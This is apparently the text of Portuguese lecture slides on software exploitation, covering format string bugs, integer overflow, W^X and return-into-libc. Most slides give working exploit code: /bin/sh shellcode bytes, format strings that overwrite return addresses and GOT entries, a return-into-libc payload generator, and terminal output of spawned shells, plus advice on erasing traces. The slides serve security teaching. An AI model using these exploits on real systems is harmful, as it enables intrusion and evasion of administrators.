                                                                 char, através do cast, força-se uma conversão
                                                                 para signed char. Em seguida, ao se atribuir o
                                                                 valor à count ele é convertido para unsigned int,
                                                                 ocorre sign extension e o valor pode ser tratado
                                                                 como um valor muito grande.
Integer Overflow
                                                                           Problemas Corrigidos!?
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Porém dessa vez strlen(nameStr) retorna 0 e o
                                                                 código não entra no if.

                                                                Na saída do loop um '0' será colocado em
                                                                 nameStr[-1].

                                                                Explorar essa vulnerabilidade é impossível nesse
                                                                 caso, mas em outras aplicações que apresentam a
                                                                 mesma falha pode ser possível tirar vantagem
                                                                 dessa brecha.
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
Format String Bug
                                                                                 Format string
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                É uma string que contém o texto que será escrito
                                                                 no buffer de destino.

                                                                Pode conter tags de formatação (%d, %n, %p
                                                                 etc) que serão substituídas pelos parâmetros
                                                                 subsequentes corretamente formatados.

                                                                O número de argumentos seguindo uma string de
                                                                 formato tem que ser maior ou igual ao número de
                                                                 tags de formatação.
Format String Bug
                                                                               Funções vulneráveis
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                printf, fprintf, sprintf, snprintf, vprintf, vfprintf,
                                                                 vsprintf, vsnprintf, syslog.
Format String Bug
                                                                                    Funcionamento interno
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(){                                            esp
                                                                    int a = 0;                                            variáveis locais
                                                                    char buffer[] = "strings de formato";           ebp     ebp salvo
                                                                      printf("E%nste é o exemplo", &a);                        ret
                                                                      printf(" %08d de %sn", a, buffer);                 format string
                                                                      printf("O endereço de buffer é: %08pn", buffer);        &a
                                                             }




                                                             [rafael@centos format string]$ ./format_string_ex1
                                                             Este é o exemplo 00000001 de strings de formato
                                                             O endereço de buffer é: 0xbffff4ed
                                                             [rafael@centos format string]$
Format String Bug
                                                                             Tags de formatação
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                %n coloca o número de caracteres escritos até o
                                                                 momento em um ponteiro para inteiro.

                                                                %08d fará com que seja copiado para a saída um
                                                                 decimal preenchido com zeros à esquerda até que se
                                                                 complete o tamanho de 8 caracteres.

                                                                %08x lê um inteiro e gera saída em hexadecimal com
                                                                 um tamanho de 8 bytes.
Format String Bug
                                                                                         Lendo da memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 void func(char *str){
                                                                        printf(str);
                                                                 }

                                                                 int main(){
                                                                        char str[] = "%08p%08p%08p%08p%08p%08p%08pn";

                                                                         func(str);
                                                                 }




                                                             [rafael@centos format string]$ ./format_string_ex2
                                                               (nil)0xbffff5080x804842a0xbffff4e6 (nil)0xbffff6f90xb7ee4dae
                                                             [rafael@centos format string]$
Format String Bug
                                                                                  Lendo da memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Pode-se ler qualquer endereço a partir do ponteiro
                                                                 para a string de formato.


                                                                            ebp            ebp func
                                                                                           ret printf
                                                                                       string de formato
                                                                          dummy          0x80495d4
                                                                         ebp func        0xffea0108
                                                                          ret func        0x80483f6
Format String Bug
                                                                   Lendo de qualquer lugar da memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Como os endereços seguintes ao ponteiro para a string
                                                                 de formato podem ser acessados, isso permite que se
                                                                 acesse a própria string de formato, visto que a stack
                                                                 cresce em direção à memória baixa.

                                                                Então, codificando um endereço (little endian) de
                                                                 memória diretamente na string de formato é possível
                                                                 ler o endereço apontado pelo mesmo através da tag de
                                                                 formato %s. O problema é que o endereço é tratado
                                                                 como uma string e vai terminar no primeiro NULL
                                                                 encontrado.
Format String Bug
                                                                     Lendo de qualquer lugar da memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(){
                                                                    char *ptr, *addr;
                                                                    int i = 0x45444342;
                                                                    char str[] = "AAAAxffxffxffxff%08x%08x%08x%08x%08x%08x%08x__%s__n";

                                                                     addr = (char*)&i;
                                                                     ptr = (char*)&addr;
                                                                     str[4] = *ptr;
                                                                     str[5] = *(ptr+1);
                                                                     str[6] = *(ptr+2);
                                                                     str[7] = *(ptr+3);

                                                                     printf(str);
                                                             }

                                                             [rafael@centos format string]$ ./format_string_ex3
                                                             AAAAøôÿ¿00000000000000000000000000000000000000000000000041414141__BCDEøôÿ¿üôÿ¿
                                                             õÿ¿xõÿ¿# Æè·# # # xõÿ¿# Æè·__

                                                             [rafael@centos format string]$
Format String Bug
                                                                                  Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(){
                                                                    char *ptr, *addr;
                                                                    int i = 0xaabbccdd;
                                                                    char str[] = "AAAAxffxffxffxff%08x%08x%08x%08x%08x%08x%08x__%n__n";

                                                                   addr = (char*)&i;
                                                                   ptr = (char*)&addr;

                                                                   str[4] = *ptr;
                                                                   str[5] = *(ptr+1);
                                                                   str[6] = *(ptr+2);
                                                                   str[7] = *(ptr+3);

                                                                   fprintf(stderr, "variavel i (%p) = 0x%xnn", &i, i);

                                                                   printf(str);

                                                                   fprintf(stderr, "nvariavel i (%p) = 0x%xn", &i, i);
                                                             }
Format String Bug
                                                                           Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Codificando um endereço válido na string de formato,
                                                                 pode-se alterar o valor apontado por esse endereço.

                                                                Basta apenas chegar até a posição da string de formato
                                                                 na stack e então encontrar o endereço codificado.
Format String Bug
                                                                                   Escrevendo na memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Então, é só passar a tag %n tendo como argumento o
                                                                  endereço codificado.

                                                             [rafael@centos format string]$ ./format_string_ex4
                                                             variavel i (0xbffff4f8) = 0xaabbccdd

                                                             AAAAøôÿ¿080485d0bffff4f8aabbccdd00000000000000000000000041414141____

                                                             variavel i (0xbffff4f8) = 0x42
                                                             [rafael@centos format string]$
Format String Bug
                                                                              Controlando a memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int main(){
                                                                    char *ptr, *addr;
                                                                    int i = 0xaabbccdd;
                                                                    char str[] = "AAAAxffxffxffxff%0233811115x%08x%08x%08x%08x%08x”
                                                                                “%08x%08x__%n__n";

                                                                   addr = (char*)&i;
                                                                   ptr = (char*)&addr;

                                                                   str[4] = *ptr;
                                                                   str[5] = *(ptr+1);
                                                                   str[6] = *(ptr+2);
                                                                   str[7] = *(ptr+3);

                                                                   fprintf(stderr, "variavel i (%p) = 0x%xnn", &i, i);

                                                                   printf(str);

                                                                   fprintf(stderr, "nvariavel i (%p) = 0x%xn", &i, i);
                                                             }
Format String Bug
                                                                                     Controlando a memória
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  Para controlar o valor a ser escrito no endereço
                                                                   codificado basta usar os especificadores de tamanho
                                                                   nas tags de formato. Assim, pode-se forçar que uma
                                                                   quantidade específica de bytes seja enviada para a
                                                                   saída, de modo que quando %n for ativada o valor a
                                                                   ser escrito possa ser controlado pelo atacante.

                                                             [rafael@centos format string]$ ./format_string_ex5 > /dev/null
                                                             variavel i (0xbffff4f8) = 0xaabbccdd


                                                             variavel i (0xbffff4f8) = 0xdefaced
                                                             [rafael@centos format string]$
Format String Bug
                                                                                            A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             char shellcode[]=
                                                                         "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
                                                                         "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd"
                                                                         "x80";

                                                             int main(int argc, char *argv[]){

                                                                    if(argc != 2){
                                                                          printf("uso: %s <param>n", argv[0]);
                                                                          return 1;
                                                                    }
                                                                    printf("shellcode - %pn", shellcode);
                                                                    printf("retaddr - %pn", &argc-1);
                                                                    printf(argv[1]);
                                                                    printf("n");
                                                                    printf("%pn", *(&argc-1));
                                                             }
Format String Bug
                                                                                   A técnica
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Controlando qualquer endereço de memória é
                                                                 possível redirecionar o fluxo de execução do
                                                                 programa para o payload previamente injetado
                                                                 pelo atacante.

                                                                Para tal, basta sobrescrever um endereço de
                                                                 retorno ou uma entrada na GOT.
Format String Bug
                                                               String de formato
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                   1 x “AAAA” = 4
                                                                                   1 endereço = 4
                                                                                   %134519792x = 134519792
                                                                                   132 x %08x = 1056

                                                                                   total = 0x0804a018

                                                                                   então,
                                                                                   bffff2ec = 0x804a018
Format String Bug
                                                                                    Redirecionando fluxo
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex61.bin`
                                                             shellcode - 0x804a018
                                                             retaddr - 0xbffff2ec
                                                             …

                                                                                     bffff2ecbffff2e8bffff2f0b7ff0f50bffff2f0bffff348b7e8c685080484c008048340b
                                                             ffff348b7e8c68500000002bffff374bffff380b7fe2b380000000100000001000000000804824cb7fc
                                                             fff4080484c008048340bffff348d005e179fe6c9569000000000000000000000000b7ff6090b7e8c5
                                                             adb7ffeff400000002080483400000000008048361080483f400000002bffff374080484c0080484b0
                                                             b7ff0f50bffff36cb7ffbaaa00000002bffff4c0bffff4d400000000bffff705bffff727bffff73abffff771bFfff781
                                                             bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc84bffffcb4bffffce5bffffcf5bffffd42bffffd62bFfffd7d
                                                             bffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfFfff27b
                                                             fffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd20000000000000020b7ffd42000000021b7ffd0000
                                                             0000010078bf3bf000000060000100000000011000000640000000308048034000000040000002
                                                             0000000050000000800000007b7fe3000000000080000000000000009080483400000000b00000
                                                             3e70000000c000003e70000000d000003e70000000e000003e700000017000000000000001fbffff
                                                             fe80000000fbffff4bb00000000000000000000000069000000003638366f662f2e74616d72727473
                                                             5f5f676e690036786541414141aaaaaaaaaaa
                                                             0x804a018
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos format string]$
Format String Bug
                                                                   Controlando a memória byte a byte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Pode ser que haja algum limite para os
                                                                 especificadores de tamanho, como também para a
                                                                 quantidade total de caracteres gerados como
                                                                 saída.

                                                                Então, para controlar o valor a ser escrito, deve-
                                                                 se escrever byte a byte o valor na posição
                                                                 desejada.
Format String Bug
                                                             Controlando a memória byte a byte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                     4 x “AAAA” = 16
                                                                                     4 endereços = 16
                                                                                     132 x %08x = 1056

                                                                                     %216x = 216
                                                                                     bffff2cc = 0x00000518

                                                                                     %136x = 136
                                                                                     bffff2cd = 0x000005a0

                                                                                     %100x = 100
                                                                                     bffff2ce = 0x00000604

                                                                                     %260x = 260
                                                                                     bffff2cf = 0x00000708

                                                                                     então,
                                                                                     bffff2cc = 0x0804a018
Format String Bug
                                                                   Controlando a memória byte a byte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex62.bin`
                                                             shellcode - 0x804a018
                                                             retaddr – 0xbffff2ccc
                                                             ....

                                                             AAAA����AAAA����AAAA����AAAA����bffff2ccbffff2c8bffff2d0b7ff0f50bffff
                                                             2d0bffff328b7e8c685080484c008048340bffff328b7e8c68500000002bffff354bffff360b7fe2b3800
                                                             00000100000001000000000804824cb7fcfff4080484c008048340bffff328d085a179feec9569000
                                                             000000000000000000000b7ff6090b7e8c5adb7ffeff40000000208048340000000000804836108
                                                             0483f400000002bffff354080484c0080484b0b7ff0f50bffff34cb7ffbaaa00000002bffff4a0bffff4b40
                                                             0000000bffff705bffff727bffff73abffff771bffff781bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc
                                                             84bffffcb4bffffce5bffffcf5bffffd42bffffd62bffffd7dbffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe
                                                             1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfffff27bfffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd200
                                                             00000000000020b7ffd42000000021b7ffd00000000010078bf3bf0000000600001000000000110
                                                             000006400000003080480340000000400000020000000050000000800000007b7fe3000000000
                                                             080000000000000009080483400000000b000003e70000000c000003e70000000d000003e7000
                                                             0000e000003e700000017000000000000001fbfffffe80000000fbffff49b000000000000000000000
                                                             00069000000003638366f662f2e74616d727274735f5f676e6900367865

                                                                        41414141
                                                                    41414141                                                                    41414141

                                                                                                                       41414141aaaa
                                                             0x804a018
                                                             sh-3.2$
Format String Bug
                                                                        Acesso direto à parametros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Caso haja algum limite para o tamanho da string
                                                                 de formato injetada, pode-se usar o especificador
                                                                 de formato %pos$n, onde pos é a posição do
                                                                 argumento desejado na passagem para a função.
Format String Bug
                                                             Acesso direto à parametros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             4 x “AAAA” = 16         %100x = 100
                                                             4 endereços = 16        bffff4ce = 0x00000204

                                                             %248x = 248             %260x = 260
                                                             bffff4cc = 0x00000118   bffff4cf = 0x00000308

                                                             %136x = 136             então,
                                                             bffff4cd = 0x000001a0   bffff4cc = 0x0804a018
Format String Bug
                                                                           Acesso direto à parametros
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos format string]$ /format_string_ex6 `cat badfile_ex63.bin`
                                                             shellcode - 0x804a018
                                                             retaddr - 0xbffff4cc
                                                             AAAA����AAAA����AAAA����AAAA����

                                                                                    bffff4cc
                                                                         bffff4c8                                                       bffff4d0

                                                                                                               b7ff0f50aaaa
                                                             0x804a018
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos format string]$
Format String Bug
                                                                                 Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             int func(char *str){
                                                                     printf(str);
                                                                     printf("n");
                                                             }

                                                             int main(int argc, char *argv[]){

                                                                     if(argc != 2){
                                                                           printf("uso: %s <param>n", argv[0]);
                                                                           return 1;
                                                                     }
                                                                     func(argv[1]);
                                                             }
Format String Bug
                                                                                Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                A exploração será feita através da GOT. Quando
                                                                 putchar() for chamada após o ataque, o fluxo do
                                                                 programa será redirecionado para o endereço
                                                                 injetado na tabela.

                                                                Basta gravar na entrada GOT de putchar() o
                                                                 endereço do payload. Sabendo em que posição
                                                                 (como parametro da função vulnerável) argv[1] se
                                                                 encontra, é fácil calcular seu endereço, dado o
                                                                 endereço (estimado) da stack.
Format String Bug
                                                                                                Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  O endereço do payload deve ser colocado em
                                                                   0x0804a004.

                                                             [rafael@centos format string]$ objdump -R format_string_ex7

                                                             format_string_ex7:   file format elf32-i386

                                                             DYNAMIC RELOCATION RECORDS
                                                             OFFSET TYPE         VALUE
                                                             08049ff0 R_386_GLOB_DAT __gmon_start__
                                                             0804a000 R_386_JUMP_SLOT __gmon_start__
                                                             0804a004 R_386_JUMP_SLOT putchar
                                                             0804a008 R_386_JUMP_SLOT __libc_start_main
                                                             0804a00c R_386_JUMP_SLOT printf

                                                             [rafael@centos format string]$
Format String Bug
                                                                 Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                                4 x “AAAA” = 16
                                                                                4 endereços = 16
                                                                                45 x 0x90 = 41
                                                                                shellcode = 23

                                                                                total = 100

                                                                                %72x = 72
                                                                                0804a004 = 0x000000ac

                                                                                %74x = 74
                                                                                0804a005 = 0x000000f6

                                                                                %9x = 9
                                                                                0804a006 = 0x000000ff

                                                                                %192x = 192
                                                                                0804a007 = 0x000001bf

                                                                                então,
                                                                                0804a004 = 0xbffff6ac
Format String Bug
                                                                                                Planejamento
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  0xbffff6ac é o endereço do payload.

                                                                     0xbffff6ac ≅ esp – 128 + 137*4 ± offset.

                                                             [rafael@centos exemplos]$ ./get_esp
                                                             esp: 0xbffff4f4
                                                             [rafael@centos exemplos$



                                                             [rafael@centos format string]$ ./format_string_ex7 `cat badfile_ex7.bin`
                                                             sh-3.2$ exit
                                                             exit
                                                             [rafael@centos format string]$
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
Técnicas Modernas
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Atualmente existem proteções que dificultam a execução
                                                                 do payload.

                                                                Área de dados apenas com permissão de execução. Não é
                                                                 possível redirecionar o ponteiro de instruções para o
                                                                 payload.

                                                                Mecanismos de verificação dinâmica da integridade da
                                                                 stack.

                                                                Randomização da memória do programa, de modo que
                                                                 endereços não possam ser “adivinhados” com facilidade.
Agenda
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Falhas de Software
                                                                Princípios de Segurança de Software
                                                                Introdução à Overflow de Memória
                                                                    Stack Overflow

                                                                    Heap Overflow

                                                                    Integer Overflow

                                                                Format String Bug
                                                                Técnicas Modernas
                                                                    WorX

                                                                    Stack Protector

                                                                    ASLR
WorX
                                                                                 Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              Técnica utilizada para impedir que áreas de dados de um
                                                             programa possam ser executadas.

                                                              Nenhuma área com permissão de escrita (stack, heap,
                                                             .data, .bss) deve ter permissão de execução.

                                                              Isso impede que o fluxo de execução de um programa
                                                             seja redirecionado para um payload injetado.
WorX
                                                                                   Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                Nada impede o desenvolvedor de mapear uma área de
                                                                 memória WR.

                                                                Alguns programas precisam executar código gerado
                                                                 dinamicamente.
WorX
                                                                                         Definição
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             char shellcode[]=
                                                                      "x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
                                                                      "x6ex89xe3x50x53x89xe1xb0x0bxcdx80";

                                                             void func(){
                                                                  char buffer[16];

                                                                  strcpy(buffer, "AAAABBBBCCCCDDD");
                                                                  *((long*)(buffer+20)) = (long)shellcode;
                                                                  printf("%sn", buffer);
                                                             }


                                                             int main(){
                                                                  func();
                                                                  printf("fimn");
                                                             }
WorX
                                                                                    Proteção desabilitada
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos worx]$ gcc -z execstack worx_ex11 worx_ex1.c
                                                             [rafael@centos worx]$ ./worx_ex1

                                                             AAAABBBBCCCCDDD
                                                             sh-3.2$


                                                             [rafael@centos worx]$ cat /proc/14460/maps
                                                             00723000-0073d000 r-xp 00000000 08:02 394715     /lib/ld-2.5.so
                                                             0073d000-0073e000 r-xp 00019000 08:02 394715       /lib/ld-2.5.so
                                                             0073e000-0073f000 rwxp 0001a000 08:02 394715      /lib/ld-2.5.so
                                                             00741000-0087f000 r-xp 00000000 08:02 392465     /lib/libc-2.5.so
                                                             0087f000-00881000 r-xp 0013e000 08:02 392465     /lib/libc-2.5.so
                                                             00881000-00882000 rwxp 00140000 08:02 392465      /lib/libc-2.5.so
                                                             00882000-00885000 rwxp 00882000 00:00 0
                                                             08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1
                                                             08049000-0804a000 rwxp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1
                                                             f7f95000-f7f97000 rwxp f7f95000 00:00 0
                                                             f7fb2000-f7fb3000 rwxp f7fb2000 00:00 0
                                                             ffbd2000-ffbe7000 rwxp 7ffffffea000 00:00 0             [stack]
                                                             ffffe000-fffff000 r-xp ffffe000 00:00 0
                                                             [rafael@centos worx]$
WorX
                                                                                      Proteção habilitada
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             [rafael@centos worx]$ gcc worx_ex12 worx_ex1.c
                                                             [rafael@centos worx]$ ./worx_ex1

                                                             AAAABBBBCCCCDDD
                                                             Segmentation fault
                                                             [rafael@centos worx]$


                                                             [rafael@centos worx]$ cat /proc/14461/maps
                                                             00723000-0073d000 r-xp 00000000 08:02 394715    /lib/ld-2.5.so
                                                             0073d000-0073e000 r--p 00019000 08:02 394715    /lib/ld-2.5.so
                                                             0073e000-0073f000 rw-p 0001a000 08:02 394715     /lib/ld-2.5.so
                                                             00741000-0087f000 r-xp 00000000 08:02 392465     /lib/libc-2.5.so
                                                             0087f000-00881000 r--p 0013e000 08:02 392465    /lib/libc-2.5.so
                                                             00881000-00882000 rw-p 00140000 08:02 392465     /lib/libc-2.5.so
                                                             00882000-00885000 rw-p 00882000 00:00 0
                                                             08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex12
                                                             08049000-0804a000 rw-p 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex12
                                                             f7fd5000-f7fd7000 rw-p f7fd5000 00:00 0
                                                             f7ff2000-f7ff3000 rw-p f7ff2000 00:00 0
                                                             ffcdf000-ffcf4000 rw-p 7ffffffea000 00:00 0           [stack]
                                                             ffffe000-fffff000 r-xp ffffe000 00:00 0
                                                             [rafael@centos worx]$
Return-into-libc
                                                                          Burlando a proteção
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              Redirecionar o fluxo para código próprio do programa
                                                             ou para bibliotecas carregadas por ele.

                                                              Libc é “linkada” em todos os programas em sistemas
                                                             Linux e carregada sempre no mesmo endereço base. Basta
                                                             que o fluxo seja redirecionado para uma função da
                                                             biblioteca.

                                                              Chamando system(“/bin/sh”) um shell é retornado para
                                                             o atacante.
Return-into-libc
                                                                                            A arte
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              vetor de injeção

                                                                   0xdefaced...     0xdefaced     system         0xdefaced   ptr “/bin/sh”

                                                             função vulnerável
                                                              buffer explorado EBP anterior       retaddr           ...           ...



                                                             esp                  ebp                          crescimento da
                                                              system                                           stack

                                                                        variáveis locais        EBP anterior      retaddr       arg1
Return-into-libc
                                                                              Redirecionando para system
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  int func(){                               int main(){
                                                                        int *ptr;                                func();
                                                                                                            }
                                                                        ptr = (int*)&ptr;
                                                                        ptr++;
                                                                        ptr++;
                                                                        *ptr = (int)system;
                                                                        ptr++;
                                                                        ptr++;
                                                                        *ptr = (int)"/bin/sh";

                                                                  }


                                                             [rafael@centos worx]$ ./return_into_libc_ex1
                                                             $ exit
                                                             Segmentation fault
                                                             [rafael@centos worx]$
Return-into-libc
                                                                     Redirecionando para system
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              O endereço de retorno é sobrescrito com o endereço de
                                                             system.

                                                              A posição de memória que do ponto de vista do registro
                                                             de ativação (frame de pilha) da função system seria o
                                                             endereço de retorno é deixada de lado e um ponteiro para
                                                             “/bin/sh” é colocado na posição seguinte. Esse ponteiro
                                                             será o arg1 da função.
Return-into-libc
                                                                                     Eliminando vestígios
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              vetor de injeção
                                                                0xdefaced...       0xdefaced      system          exit       ptr “/bin/sh”   0xffffffff

                                                              função vulnerável
                                                              buffer explorado EBP anterior       retaddr         ...             ...           ...



                                                             esp               ebp                                  crescimento da
                                                             system                                                 stack
                                                                      variáveis locais         EBP anterior     retaddr         arg1

                                                                            exit
                                                                                     variáveis locais         EBP anterior     retaddr         arg1
Return-into-libc
                                                                                       Eliminando vestígios
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  int func(){                               int main(){
                                                                        int *ptr;                                func();
                                                                                                            }
                                                                        ptr = (int*)&ptr;
                                                                        ptr++;
                                                                        ptr++;
                                                                        *ptr = (int)system;
                                                                        ptr++;
                                                                        *ptr = (int)exit;
                                                                        ptr++;
                                                                        *ptr = (int)"/bin/sh";
                                                                        ptr++;
                                                                        *ptr = 0x1;
                                                                  }


                                                             [rafael@centos worx]$ ./return_into_libc_ex2
                                                             $ exit
                                                             [rafael@centos worx]$
Return-into-libc
                                                                          Eliminando vestígios
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                              Um atacante deve eliminar todos os seus rastros de
                                                             modo a não chamar a atenção do administrador do
                                                             sistema.

                                                              Para não causar uma falha de segmentação, a posição
                                                             que system considera como endereço de retorno é
                                                             sobrescrita com o endereço de exit, e o valor após o
                                                             ponteiro para “/bin/sh” recebe o valor -1 (argumento para
                                                             exit).
Return-into-libc
                                                                                    Programa vulnerável
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             void func(char *str){
                                                                  char buffer[256];

                                                                 strcpy(buffer, str);
                                                                 printf("%sn", buffer);
                                                             }


                                                             int main(int argc, char *argv[]){

                                                                 if(argc != 2){
                                                                      printf("uso: %s <param>n", argv[0]);
                                                                      return 1;
                                                                 }

                                                                 func(argv[1]);
                                                                 printf("fimn");
                                                             }
Return-into-libc
                                                                                       Planejando o ataque
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Descobrindo o endereço de system e exit.
                                                             [rafael@centos worx]$ gdb ./return_into_libc_ex3
                                                             GNU gdb Fedora (6.8-27.el5)
                                                             Copyright (C) 2008 Free Software Foundation, Inc.
                                                             This GDB was configured as "x86_64-redhat-linux-gnu"...
                                                             (no debugging symbols found)
                                                             (gdb) b main
                                                             Breakpoint 1 at 0x8048460
                                                             (gdb) r
                                                             Starting program: minicurso/exemplos/worx/return_into_libc_ex3

                                                             Breakpoint 1, 0x08048460 in main ()
                                                             (gdb) p system
                                                             $1 = {<text variable, no debug info>} 0xb7eafa90 <system>
                                                             (gdb) p exit
                                                             $2 = {<text variable, no debug info>} 0xbfea4ce0 <exit>
                                                             (gdb)
Return-into-libc
                                                                                              O exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             #define SYSTEM          0xb7eafa90
                                                             #define SARG            "////////////////////////////////////////////////////bin/sh"
                                                             #define ESP             0xbffff3a4 + 37
                                                             #define EXIT            0xb7ea4ce0
                                                             #define EARG            0xffffffff

                                                             int main(int argc, char **argv){
                                                                  FILE *badfile;
                                                                  long *ptr;
                                                                  unsigned int sargaddr;
                                                                  int n, i, j, pos;
                                                                  char buffer[352];
                                                                  if(argc != 3){
                                                                       fprintf(stderr, "uso: %s <ret> <conf>n", argv[0]);
                                                                       return 1;
                                                                  }
                                                                  sargaddr = ESP + atoi(argv[1]);
                                                                  pos = atoi(argv[2]);
                                                                  if(pos < 1 || pos > 4)
                                                                       pos = 1;
Return-into-libc
                                                                                             O exploit
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 memset(&buffer, 'A', 352);
                                                                 ptr = (long*)buffer;

                                                                 n = ( (&buffer[351] - strlen(SARG)) - (char*)ptr)/4;

                                                                 n = n/4;

                                                                 for(i = 0, j = pos - 1; i <= n; i++){
                                                                       ptr[j++] = SYSTEM;
                                                                       ptr[j++] = EXIT;
                                                                       ptr[j++] = sargaddr;
                                                                       ptr[j++] = EARG;
                                                                 }

                                                                 strcpy(&buffer[351] - strlen(SARG), SARG);

                                                                 badfile = fopen("./badfile_ex31.bin", "w");
                                                                 fwrite(buffer, 1, 352, badfile);
                                                                 fclose(badfile);
                                                             }
Return-into-libc
                                                                         Calculando o endereço do buffer
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  Considerando que o buffer vulnerável tem 256 bytes,
                                                                   e a posição de SARG dentro do vetor é 293, conclui-
                                                                   se que SARG se encontra próximo ao endereço:

                                                                          SARG = esp + (293-256) ± offset

                                                                  Onde offset é o deslocamento da pilha, que depende
                                                                   de características próprias do programa.

                                                             [rafael@centos exemplos]$ ./get_esp
                                                             ESP: 0xbffff504
                                                             [rafael@centos exemplos]$
Return-into-libc
                                                                                               O ataque falha
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                  O offset deve ser multiplo de 4 (dword), já que a
                                                                   pilha segue um alinhamento de 4 bytes.

                                                             [rafael@centos worx]$ ./exploit_return_into_libc_ex31 -28 2
                                                             [rafael@centos worx]$ ./return_into_libc_ex3 `cat badfile_ex31.bin `
                                                             AAAA�����L��-������������L
                                                             ��-������������L��-������������L��-����������
                                                             ��L��-������������L��-������������L��-��������
                                                             ����L��-������������L��-������������L��-������
                                                             ������L��-������������L��-������������L��-����
                                                             ��������L��-������������L��-������������L��-��
                                                             ����������L��-������������L��-��������/////////////////////////
                                                             ///////////////////////////bin/sh
                                                             sh: cannot open �������: No such file
                                                             sh: ���P��: not found
                                                             [rafael@centos worx]$
Return-into-libc
                                                                       Recalculando o endereço do buffer
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                                 Como o vetor de injeção é passado através de
                                                                  argumento da linha de comando, o valor da pilha se
                                                                  altera porque argv[1] é armazenado na mesma.

                                                             [rafael@centos worx]$ ../get_esp `cat badfile_ex31.bin `
                                                             ESP: 0xbffff3a4
                                                             [rafael@centos worx]$
(In)Segurança de Software, Quebrando Códigos - Rafael Rosa




                                                             Badfile
                                                                       Return-into-libc
Return-into-libc
